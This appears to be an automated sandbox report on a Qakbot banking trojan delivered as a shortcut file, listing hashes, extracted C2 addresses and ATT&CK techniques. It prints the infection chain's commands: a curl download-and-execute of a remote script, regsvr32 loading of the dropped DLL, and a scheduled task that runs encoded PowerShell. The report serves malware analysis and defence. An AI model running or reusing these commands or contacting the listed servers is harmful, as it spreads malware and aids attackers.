qakbot | 77fe3b85503872e252ee98f49c1491d7dfc7cb3579ff3771bd7ad59f68c0dc60

General

Target

Export474.lnk
Size

2KB
MD5

e3bd2b8ab3b2aa72f21d6b1aea8dd4e0
SHA1

279b748f40cc8377d63b630c756c60644e9be89e
SHA256

77fe3b85503872e252ee98f49c1491d7dfc7cb3579ff3771bd7ad59f68c0dc60
SHA512

6aea0405c1eb507611c9ee21ac0ba0b8c2a719653ee1b644e015608ee5d3dae6a706f9b328b26ff3961cd7b690a9dfe1e6f6e30405d78c11efa08711f59b55cb

Score

10^/10

qakbot bb 1662647912 banker stealer trojan

Malware Config

Extracted

Family

qakbot

Version

403.860

Botnet

BB

Campaign

1662647912

C2

197.94.210.133:443

193.3.19.37:443

70.51.153.182:2222

99.232.140.205:2222

123.240.131.1:443

177.102.84.28:32101

105.156.152.227:443

190.59.247.136:995

89.211.218.88:2222

81.214.220.237:443

85.99.62.74:443

191.97.234.238:995

81.131.161.131:2078

217.165.68.122:993

219.69.103.199:443

37.210.148.30:995

64.207.215.69:443

113.169.57.104:443

179.225.221.169:32101

151.234.99.49:990

Attributes

salt
SoNuce]ugdiB3c[doMuce2s81*uXmcvP

Signatures

Qakbot/Qbot
Qbot or Qakbot is a sophisticated worm with banking capabilities.
trojan banker stealer qakbot
Blocklisted process makes network request 2 IoCs

Processes:

wscript.exe

flow pid process

30 3556 wscript.exe
38 3556 wscript.exe
Downloads MZ/PE file

flow	pid	process
30	3556	wscript.exe
38	3556	wscript.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

cmd.exewscript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	wscript.exe

Loads dropped DLL 3 IoCs

Processes:

regsvr32.exeregsvr32.exe

pid process

2128 regsvr32.exe
2128 regsvr32.exe
4532 regsvr32.exe

Drops file in System32 directory 2 IoCs

Processes:

powershell.exe

description	ioc	process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

1252 schtasks.exe

pid	process
1252	schtasks.exe

Modifies data under HKEY_USERS 51 IoCs

Processes:

powershell.exeexplorer.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Oefuovghyt	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Oefuovghyt\91a5d99c = 459ad304cec989b3b1ed8489b8cb05	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Oefuovghyt\eeecb66a = c8cb940df9f8e5a58d51f934e2e150aeebf61328fad7b19b74b1e95d57836615e68836d050c11b26a1b937884bcc8bb9f58207457c61e54e4bc112f7835ba8d767d547bff1071840f9bece06e830f12f9349198a48f8029761846167b834c389006e92c9ed14dd143b3b5d7805268fe52100db461c59f149edb7c2dd14	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Oefuovghyt\db736624 = b1d8976fbf1564e10dce0166266545d8685a0fdc5ad53a13a1015afaa1e368314a64a5d685a19ffdb29a03881eec4be132cdd880ac31a8ae0d	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Oefuovghyt\2919bef9 = 8ce3f13c5791f1dcc67e2f6e2ca59f9fcbed9302a4ce2d2196fe0ea18937c3309ba9abdbd72769c72de8d62fe1c75ba901577eb0bd086f7e860fd335811440da53b887f068e58e	explorer.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Oefuovghyt\a43a09d2 = 1a478120e14eac5ed9a0f70329946fe14b3a3f1411ba93d1b1fa5a4986214c365ca18ce04d073ea4bde8b2f6dda347cd8dbdef6fd3f6bef8fafe73ff6c173e2a4acd4fa7d7a7506927799a41aa1c6b8f1e79b386097d3274aadd406323d558a2c794de8b	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Oefuovghyt\5411f173 = 5ed47800c9dbb540b663c19321feedc090e86964af03d1e0d0d5	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Oefuovghyt\ecad9616 = ea1c97faa96985e05b3763d7867528993205859821c6c5a58530a076e31688bbe80a3025c84dbf3ae46d8c98c7c692cf7f803d2e9dc8544b117f52722dc46be70251e8da89e040d11829	explorer.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Oefuovghyt\5650d10f = a94209980e445d821aba1faee745b9560c846957c36bee42b88c5b9de22de62ed91051ae14e47bb92f	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Oefuovghyt\db736624 = b1d8806fbf1557696b78554003b413850db3cf104436d2cbd44d438b71b5f8ed5e32f973ccc6ec61ba5cbf80155e0b7bfa5f7a8c7cfd6afcc8bf44ecc26ae9f8187356325dbb55626d9a8990c229	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

832 PING.EXE

pid	process
832	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

regsvr32.exeexplorer.exe

pid	process
2128	regsvr32.exe
2128	regsvr32.exe
5088	explorer.exe
5088	explorer.exe
5088	explorer.exe
5088	explorer.exe
5088	explorer.exe
5088	explorer.exe
5088	explorer.exe
5088	explorer.exe
5088	explorer.exe
5088	explorer.exe
5088	explorer.exe
5088	explorer.exe
5088	explorer.exe
5088	explorer.exe
5088	explorer.exe
5088	explorer.exe
5088	explorer.exe
5088	explorer.exe
5088	explorer.exe
5088	explorer.exe
5088	explorer.exe
5088	explorer.exe
5088	explorer.exe
5088	explorer.exe
5088	explorer.exe
5088	explorer.exe
5088	explorer.exe
5088	explorer.exe
5088	explorer.exe
5088	explorer.exe
5088	explorer.exe
5088	explorer.exe
5088	explorer.exe
5088	explorer.exe
5088	explorer.exe
5088	explorer.exe
5088	explorer.exe
5088	explorer.exe
5088	explorer.exe
5088	explorer.exe
5088	explorer.exe
5088	explorer.exe
5088	explorer.exe
5088	explorer.exe
5088	explorer.exe
5088	explorer.exe
5088	explorer.exe
5088	explorer.exe
5088	explorer.exe
5088	explorer.exe
5088	explorer.exe
5088	explorer.exe
5088	explorer.exe
5088	explorer.exe
5088	explorer.exe
5088	explorer.exe
5088	explorer.exe
5088	explorer.exe
5088	explorer.exe
5088	explorer.exe
5088	explorer.exe
5088	explorer.exe

Suspicious behavior: MapViewOfSection 2 IoCs

Processes:

regsvr32.exeregsvr32.exe

pid process

2128 regsvr32.exe
4532 regsvr32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1148 powershell.exe

description	pid	process
Token: SeDebugPrivilege	1148	powershell.exe

Suspicious use of WriteProcessMemory 33 IoCs

Processes:

cmd.execmd.exewscript.execmd.exeregsvr32.exeregsvr32.exeexplorer.exepowershell.exeregsvr32.exeregsvr32.exe

description	pid	process	target process
PID 4380 wrote to memory of 1148	4380	cmd.exe	cmd.exe
PID 4380 wrote to memory of 1148	4380	cmd.exe	cmd.exe
PID 1148 wrote to memory of 3688	1148	cmd.exe	curl.exe
PID 1148 wrote to memory of 3688	1148	cmd.exe	curl.exe
PID 1148 wrote to memory of 3556	1148	cmd.exe	wscript.exe
PID 1148 wrote to memory of 3556	1148	cmd.exe	wscript.exe
PID 3556 wrote to memory of 1816	3556	wscript.exe	cmd.exe
PID 3556 wrote to memory of 1816	3556	wscript.exe	cmd.exe
PID 1816 wrote to memory of 832	1816	cmd.exe	PING.EXE
PID 1816 wrote to memory of 832	1816	cmd.exe	PING.EXE
PID 1816 wrote to memory of 904	1816	cmd.exe	regsvr32.exe
PID 1816 wrote to memory of 904	1816	cmd.exe	regsvr32.exe
PID 904 wrote to memory of 2128	904	regsvr32.exe	regsvr32.exe
PID 904 wrote to memory of 2128	904	regsvr32.exe	regsvr32.exe
PID 904 wrote to memory of 2128	904	regsvr32.exe	regsvr32.exe
PID 2128 wrote to memory of 5088	2128	regsvr32.exe	explorer.exe
PID 2128 wrote to memory of 5088	2128	regsvr32.exe	explorer.exe
PID 2128 wrote to memory of 5088	2128	regsvr32.exe	explorer.exe
PID 2128 wrote to memory of 5088	2128	regsvr32.exe	explorer.exe
PID 2128 wrote to memory of 5088	2128	regsvr32.exe	explorer.exe
PID 5088 wrote to memory of 1252	5088	explorer.exe	schtasks.exe
PID 5088 wrote to memory of 1252	5088	explorer.exe	schtasks.exe
PID 5088 wrote to memory of 1252	5088	explorer.exe	schtasks.exe
PID 1148 wrote to memory of 4676	1148	powershell.exe	regsvr32.exe
PID 1148 wrote to memory of 4676	1148	powershell.exe	regsvr32.exe
PID 4676 wrote to memory of 4532	4676	regsvr32.exe	regsvr32.exe
PID 4676 wrote to memory of 4532	4676	regsvr32.exe	regsvr32.exe
PID 4676 wrote to memory of 4532	4676	regsvr32.exe	regsvr32.exe
PID 4532 wrote to memory of 3664	4532	regsvr32.exe	explorer.exe
PID 4532 wrote to memory of 3664	4532	regsvr32.exe	explorer.exe
PID 4532 wrote to memory of 3664	4532	regsvr32.exe	explorer.exe
PID 4532 wrote to memory of 3664	4532	regsvr32.exe	explorer.exe
PID 4532 wrote to memory of 3664	4532	regsvr32.exe	explorer.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Export474.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4380

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /q /c echo 'HI_U' && MD "C:\Users\Admin\AppData\Local\ur\B4O" && curl.exe --output C:\Users\Admin\AppData\Local\ur\B4O\enhrP.s_1L.QH0w.js https://purepowerinc.net/nluGZ/082.html && cd "C:\Users\Admin\AppData\Local\ur\B4O" && wscript enhrP.s_1L.QH0w.js && echo "Nj"
2⤵
- Suspicious use of WriteProcessMemory
PID:1148

C:\Windows\system32\curl.exe
curl.exe --output C:\Users\Admin\AppData\Local\ur\B4O\enhrP.s_1L.QH0w.js https://purepowerinc.net/nluGZ/082.html
3⤵
PID:3688

C:\Windows\system32\wscript.exe
wscript enhrP.s_1L.QH0w.js
3⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3556

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /C ping go.com && regsvr32 _ssp.dll
4⤵
- Suspicious use of WriteProcessMemory
PID:1816

C:\Windows\system32\PING.EXE
ping go.com
5⤵
- Runs ping.exe
PID:832

C:\Windows\system32\regsvr32.exe
regsvr32 _ssp.dll
5⤵
- Suspicious use of WriteProcessMemory
PID:904

C:\Windows\SysWOW64\regsvr32.exe
_ssp.dll
6⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2128

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
7⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5088

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Create /RU "NT AUTHORITY\SYSTEM" /Z /ST 20:58 /tn kljqgfijr /ET 21:09 /tr "powershell.exe -encodedCommand cgBlAGcAcwB2AHIAMwAyAC4AZQB4AGUAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXAB1AHIAXABCADQATwBcAF8AcwBzAHAALgBkAGwAbAAiAA==" /SC ONCE
8⤵
- Creates scheduled task(s)
PID:1252

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -encodedCommand cgBlAGcAcwB2AHIAMwAyAC4AZQB4AGUAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXAB1AHIAXABCADQATwBcAF8AcwBzAHAALgBkAGwAbAAiAA==
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1148

C:\Windows\system32\regsvr32.exe
"C:\Windows\system32\regsvr32.exe" C:\Users\Admin\AppData\Local\ur\B4O\_ssp.dll
2⤵
- Suspicious use of WriteProcessMemory
PID:4676

C:\Windows\SysWOW64\regsvr32.exe
C:\Users\Admin\AppData\Local\ur\B4O\_ssp.dll
3⤵
- Loads dropped DLL
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:4532

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
4⤵
- Modifies data under HKEY_USERS
PID:3664

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Remote System Discovery

1

T1018

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\ur\B4O\_ssp.dll
Filesize
548KB

MD5
640c452ee47770d7d77a0c0ae1a8c4bb

SHA1
e095fedc8f40d5b76e76adbc7cce1e22720b14ba

SHA256
1b4f615fe1136b4b0f035ed99570e8773e5e74d926735bd0b3ba0f86f30ca290

SHA512
f35fc0475a129639dacd1403b467d85e1b368545b1ce23dd02b9e28370b08ad8c7c7fbaea80005872bf8ee79f5e0841e4a71c0a26d378b13e9d7ddbe9e45f80a

Download Submit
C:\Users\Admin\AppData\Local\ur\B4O\_ssp.dll
Filesize
548KB

MD5
640c452ee47770d7d77a0c0ae1a8c4bb

SHA1
e095fedc8f40d5b76e76adbc7cce1e22720b14ba

SHA256
1b4f615fe1136b4b0f035ed99570e8773e5e74d926735bd0b3ba0f86f30ca290

SHA512
f35fc0475a129639dacd1403b467d85e1b368545b1ce23dd02b9e28370b08ad8c7c7fbaea80005872bf8ee79f5e0841e4a71c0a26d378b13e9d7ddbe9e45f80a

Download Submit
C:\Users\Admin\AppData\Local\ur\B4O\_ssp.dll
Filesize
548KB

MD5
640c452ee47770d7d77a0c0ae1a8c4bb

SHA1
e095fedc8f40d5b76e76adbc7cce1e22720b14ba

SHA256
1b4f615fe1136b4b0f035ed99570e8773e5e74d926735bd0b3ba0f86f30ca290

SHA512
f35fc0475a129639dacd1403b467d85e1b368545b1ce23dd02b9e28370b08ad8c7c7fbaea80005872bf8ee79f5e0841e4a71c0a26d378b13e9d7ddbe9e45f80a

Download Submit
C:\Users\Admin\AppData\Local\ur\B4O\_ssp.dll
Filesize
548KB

MD5
640c452ee47770d7d77a0c0ae1a8c4bb

SHA1
e095fedc8f40d5b76e76adbc7cce1e22720b14ba

SHA256
1b4f615fe1136b4b0f035ed99570e8773e5e74d926735bd0b3ba0f86f30ca290

SHA512
f35fc0475a129639dacd1403b467d85e1b368545b1ce23dd02b9e28370b08ad8c7c7fbaea80005872bf8ee79f5e0841e4a71c0a26d378b13e9d7ddbe9e45f80a

Download Submit
C:\Users\Admin\AppData\Local\ur\B4O\_ssp.dll
Filesize
548KB

MD5
640c452ee47770d7d77a0c0ae1a8c4bb

SHA1
e095fedc8f40d5b76e76adbc7cce1e22720b14ba

SHA256
1b4f615fe1136b4b0f035ed99570e8773e5e74d926735bd0b3ba0f86f30ca290

SHA512
f35fc0475a129639dacd1403b467d85e1b368545b1ce23dd02b9e28370b08ad8c7c7fbaea80005872bf8ee79f5e0841e4a71c0a26d378b13e9d7ddbe9e45f80a

Download Submit
C:\Users\Admin\AppData\Local\ur\B4O\enhrP.s_1L.QH0w.js
Filesize
131KB

MD5
1d8c3855013bc33cb3738817f9c90ff2

SHA1
bafee68fcf37affd0bcd80c37f9d78cec679e687

SHA256
c347269c85d0c1762f492ba8aed6c171b40da3a0f8152f6c92997d0940b96884

SHA512
a0db22799e5b7741fffff4e1025e6334bb2525f5227da71d51c4f5d82a72aec847f3e3e1493db09a4809c732bd225913fd92f6a14affae60386d63efa164e447

Download Submit
memory/832-137-0x0000000000000000-mapping.dmp

Download
memory/904-138-0x0000000000000000-mapping.dmp

Download
memory/1148-132-0x0000000000000000-mapping.dmp

Download
memory/1148-161-0x00007FFE7FF30000-0x00007FFE809F1000-memory.dmp

Filesize
10.8MB

Download
memory/1148-156-0x00007FFE7FF30000-0x00007FFE809F1000-memory.dmp

Filesize
10.8MB

Download
memory/1148-151-0x000002D77FF90000-0x000002D77FFB2000-memory.dmp

Filesize
136KB

Download
memory/1252-148-0x0000000000000000-mapping.dmp

Download
memory/1816-136-0x0000000000000000-mapping.dmp

Download
memory/2128-147-0x0000000004890000-0x00000000048B2000-memory.dmp

Filesize
136KB

Download
memory/2128-144-0x0000000004860000-0x0000000004884000-memory.dmp

Filesize
144KB

Download
memory/2128-143-0x0000000000910000-0x0000000000996000-memory.dmp

Filesize
536KB

Download
memory/2128-140-0x0000000000000000-mapping.dmp

Download
memory/2128-145-0x0000000004890000-0x00000000048B2000-memory.dmp

Filesize
136KB

Download
memory/3556-134-0x0000000000000000-mapping.dmp

Download
memory/3664-163-0x0000000000D60000-0x0000000000D82000-memory.dmp

Filesize
136KB

Download
memory/3664-162-0x0000000000D60000-0x0000000000D82000-memory.dmp

Filesize
136KB

Download
memory/3664-159-0x0000000000000000-mapping.dmp

Download
memory/3688-133-0x0000000000000000-mapping.dmp

Download
memory/4532-157-0x0000000003620000-0x0000000003644000-memory.dmp

Filesize
144KB

Download
memory/4532-154-0x0000000000000000-mapping.dmp

Download
memory/4532-158-0x0000000003670000-0x0000000003692000-memory.dmp

Filesize
136KB

Download
memory/4532-160-0x0000000003670000-0x0000000003692000-memory.dmp

Filesize
136KB

Download
memory/4676-152-0x0000000000000000-mapping.dmp

Download
memory/5088-150-0x0000000000E40000-0x0000000000E62000-memory.dmp

Filesize
136KB

Download
memory/5088-149-0x0000000000E40000-0x0000000000E62000-memory.dmp

Filesize
136KB

Download
memory/5088-146-0x0000000000000000-mapping.dmp

Download

Resubmissions

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads